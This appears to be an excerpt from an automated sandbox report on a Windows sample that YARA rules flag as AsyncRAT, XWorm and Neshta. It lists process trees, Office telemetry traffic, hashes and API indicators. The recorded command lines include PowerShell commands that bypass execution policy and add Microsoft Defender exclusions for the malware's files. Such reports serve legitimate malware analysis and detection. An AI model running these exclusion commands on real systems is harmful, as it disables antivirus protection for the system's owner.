ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49850	13.107.246.60	443	1276	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:52:24 UTC	206	OUT	GET /rules/rule63067v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-07-02 04:52:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 04:52:24 GMT Content-Type: text/xml Content-Length: 2871 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:05 GMT ETag: "0x8DC582BEC5E84E0" x-ms-request-id: 5704a920-801e-0083-40cc-cbffab000000 x-ms-version: 2018-03-28 x-azure-ref: 20240702T045224Z-157bfc59976d2vnn3t284pk5sn0000000cvg00000000b99h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-02 04:52:24 UTC	2871	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 36 33 30 36 37 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 49 64 65 6e 74 69 74 79 2e 53 73 70 69 50 72 6f 6d 70 74 57 69 6e 33 32 22 20 41 54 54 3d 22 35 63 36 35 62 62 63 34 65 64 62 66 34 38 30 64 39 36 33 37 61 63 65 30 34 64 36 32 62 64 39 38 2d 31 32 38 34 34 38 39 33 2d 38 61 62 39 2d 34 64 64 65 2d 62 38 35 30 2d 35 36 31 32 63 62 31 32 65 30 66 32 2d 37 38 32 32 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="63067" V="4" DC="SM" EN="Office.Identity.SspiPromptWin32" ATT="5c65bbc4edbf480d9637ace04d62bd98-12844893-8ab9-4dde-b850-5612cb12e0f2-7822" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <S>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49851	13.107.246.60	443	1276	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:52:24 UTC	208	OUT	GET /rules/rule170012v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-07-02 04:52:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 04:52:24 GMT Content-Type: text/xml Content-Length: 1523 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:33 GMT ETag: "0x8DC582BD969CD29" x-ms-request-id: f0a3700f-e01e-0099-03e2-cbda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20240702T045224Z-157bfc599764gdrhu1e9vngw980000000cpg00000000d5a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-02 04:52:24 UTC	1523	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 37 30 30 31 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 47 72 61 70 68 69 63 73 2e 47 56 69 7a 49 6e 6b 53 74 72 6f 6b 65 22 20 41 54 54 3d 22 63 66 63 66 64 62 39 31 63 36 38 63 34 33 32 39 62 62 38 62 37 63 62 37 62 61 62 62 33 63 66 37 2d 65 30 38 32 63 32 66 32 2d 65 66 31 64 2d 34 32 37 61 2d 61 63 34 64 2d 62 30 62 37 30 30 61 66 65 37 61 37 2d 37 36 35 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="170012" V="10" DC="SM" EN="Office.Graphics.GVizInkStroke" ATT="cfcfdb91c68c4329bb8b7cb7babb3cf7-e082c2f2-ef1d-427a-ac4d-b0b700afe7a7-7655" SP="CriticalBusinessImpact" DCa="PSU" xmlns=""> <S> <UTS T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49852	13.107.246.60	443	1276	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:52:24 UTC	207	OUT	GET /rules/rule490016v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-07-02 04:52:24 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 04:52:24 GMT Content-Type: text/xml Content-Length: 777 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEC2AAB32" x-ms-request-id: 2d8fb2eb-101e-00a2-163b-cc9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20240702T045224Z-157bfc59976788djms3qunwv7s0000000cz0000000005q7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-07-02 04:52:24 UTC	777	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 34 39 30 30 31 36 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 46 65 65 64 62 61 63 6b 2e 53 75 72 76 65 79 2e 46 6c 6f 6f 64 67 61 74 65 43 6c 69 65 6e 74 2e 52 6f 61 6d 69 6e 67 53 75 63 63 65 73 73 66 75 6c 52 65 61 64 57 72 69 74 65 22 20 41 54 54 3d 22 64 37 39 65 38 32 34 33 38 36 63 34 34 34 31 63 62 38 63 31 64 34 61 65 31 35 36 39 30 35 32 36 2d 62 64 34 34 33 33 30 39 2d 35 34 39 34 2d 34 34 34 61 2d 61 62 61 39 2d 30 61 66 39 65 65 66 39 39 66 38 34 2d 37 33 36 30 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 20 44 4c 3d 22 4e 22 20 44 43 61 3d 22 50 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="490016" V="3" DC="SM" EN="Office.Feedback.Survey.FloodgateClient.RoamingSuccessfulReadWrite" ATT="d79e824386c4441cb8c1d4ae15690526-bd443309-5494-444a-aba9-0af9eef99f84-7360" T="Upload-Medium" DL="N" DCa="P

Target ID:	0
Start time:	00:51:11
Start date:	02/07/2024
Path:	C:\Users\user\Desktop\F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F.exe"
Imagebase:	0x400000
File size:	913'408 bytes
MD5 hash:	E501C275814BFCB58FE845C38227D5C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000000.00000002.2697226300.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:51:11
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\3582-490\F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3582-490\F.exe"
Imagebase:	0x400000
File size:	871'936 bytes
MD5 hash:	0298A5DF4BD22B716B51E1EEC63FDDAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:51:12
Start date:	02/07/2024
Path:	C:\Users\user\Desktop\._cache_F.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\._cache_F.exe"
Imagebase:	0x6a0000
File size:	109'056 bytes
MD5 hash:	76FCF5160F19A49DA44978548CF3FA1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\Desktop\._cache_F.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\Desktop\._cache_F.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\Desktop\._cache_F.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\Desktop\._cache_F.exe, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	00:51:13
Start date:	02/07/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	762'368 bytes
MD5 hash:	DC6FD1F95DC9ACB499A6B2870C3051BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000004.00000003.2068336947.00000000021FF000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000004.00000003.2067928599.0000000002A69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:51:14
Start date:	02/07/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xf10000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:51:19
Start date:	02/07/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	0A69C2EB3BF7FDC922D6CEE63B45FF71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:51:19
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Imagebase:	0xa00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:51:19
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:51:25
Start date:	02/07/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE"
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	0A69C2EB3BF7FDC922D6CEE63B45FF71
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:51:25
Start date:	02/07/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE
Imagebase:	0x400000
File size:	762'368 bytes
MD5 hash:	DC6FD1F95DC9ACB499A6B2870C3051BA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:51:46
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 3276
Imagebase:	0xec0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:52:16
Start date:	02/07/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	0A69C2EB3BF7FDC922D6CEE63B45FF71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:52:16
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'
Imagebase:	0xa00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:52:16
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:52:17
Start date:	02/07/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	0A69C2EB3BF7FDC922D6CEE63B45FF71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:52:17
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Imagebase:	0xa00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:52:17
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:52:18
Start date:	02/07/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	0A69C2EB3BF7FDC922D6CEE63B45FF71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:52:18
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
Imagebase:	0xa00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:52:18
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FF848F00610 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

CAP_^, xrefs: 00007FF848F00FFD

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID:
String ID: CAP_^
API String ID: 0-2920077663
Opcode ID: 9a1bbcc472e43ce9da169bcd9dc22ce0385dca9affbe458573c686894c45a032
Instruction ID: 78edd36b0f4af38c667ab84e6e416afda290b9b63f1ead6308ca498800a26d2d
Opcode Fuzzy Hash: 9a1bbcc472e43ce9da169bcd9dc22ce0385dca9affbe458573c686894c45a032
Instruction Fuzzy Hash: 12320031B2DA495FE798FB3C845927977D2FF89394F440579E44EC32D2EE28A8428385

Function 00007FF848F06E61 Relevance: 1.6, APIs: 1, Instructions: 127COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FF848F06F10

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: ff0c2c5922cfc883d5073272c984143d592d6f6685c9a966c4c35f3b2a9ded47
Instruction ID: 9e58d739bb6f7bdcf4f526fd60dee460acf85f37539399ec22a7382a8767dea4
Opcode Fuzzy Hash: ff0c2c5922cfc883d5073272c984143d592d6f6685c9a966c4c35f3b2a9ded47
Instruction Fuzzy Hash: 2E31023190875C8FCB58DF58C84A7E97BE0FF65311F05416BD489D7282D738A846CB91

Function 00007FF848F058B6 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f3004d702fa91796d8f42fad4ace2b587069b5bd8d780b391dd545f23e01b0
Instruction ID: 3975e2ddcd940bd63986dd014c872b94e8c8e93ea4f8a40b23e0c124def62026
Opcode Fuzzy Hash: c3f3004d702fa91796d8f42fad4ace2b587069b5bd8d780b391dd545f23e01b0
Instruction Fuzzy Hash: F4F1A53090CA8D8FEBA8EF28C8557E937E1FF59350F04426AD84DC72D1DB74A9458B82

Function 00007FF848F06662 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78a9c81f94c144e57afe432722ab931904dbf70ad9e7d49fe5812ba7f791e6ef
Instruction ID: 7d9bc1a822d49c441547e7cc64ee208cb8ad307b41c1aa601e9d034fa8270ba3
Opcode Fuzzy Hash: 78a9c81f94c144e57afe432722ab931904dbf70ad9e7d49fe5812ba7f791e6ef
Instruction Fuzzy Hash: 3DE1A13090CA8E8FEBA8EF28C8567E977E1FF55350F14426AD84DC7291DF7899448B81

Function 00007FF848F01771 Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8625bb461d578db924c800ca513ee1b6d1c9c3f0b2e8b526fd8339966abd6cf0
Instruction ID: 89715ae5e81e7de9688769dc65910be3334d3d094ec0b71e43189f885bb3b3e8
Opcode Fuzzy Hash: 8625bb461d578db924c800ca513ee1b6d1c9c3f0b2e8b526fd8339966abd6cf0
Instruction Fuzzy Hash: 22C1A171F1D9498FEB98FB2C846527976D2FF9A380F14057AD44EC32D2EF28A8428745

Function 00007FF848F08A0D Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FF848F08AE2

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: abb05b82ceedc0b1972074b6c348ee30d9bc0a04f7fdfcbf69f81b44727c2077
Instruction ID: affb38c4e66d8810bb62153be8bb1ea6e33b43cd7723e9e510a17efb5222a645
Opcode Fuzzy Hash: abb05b82ceedc0b1972074b6c348ee30d9bc0a04f7fdfcbf69f81b44727c2077
Instruction Fuzzy Hash: 2441D43190C6588FD719DFA8D845BE97BF0FF56311F04416EE08AC3692CB786846CB91

Function 00007FF848F083B2 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32 ref: 00007FF848F08EF1

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

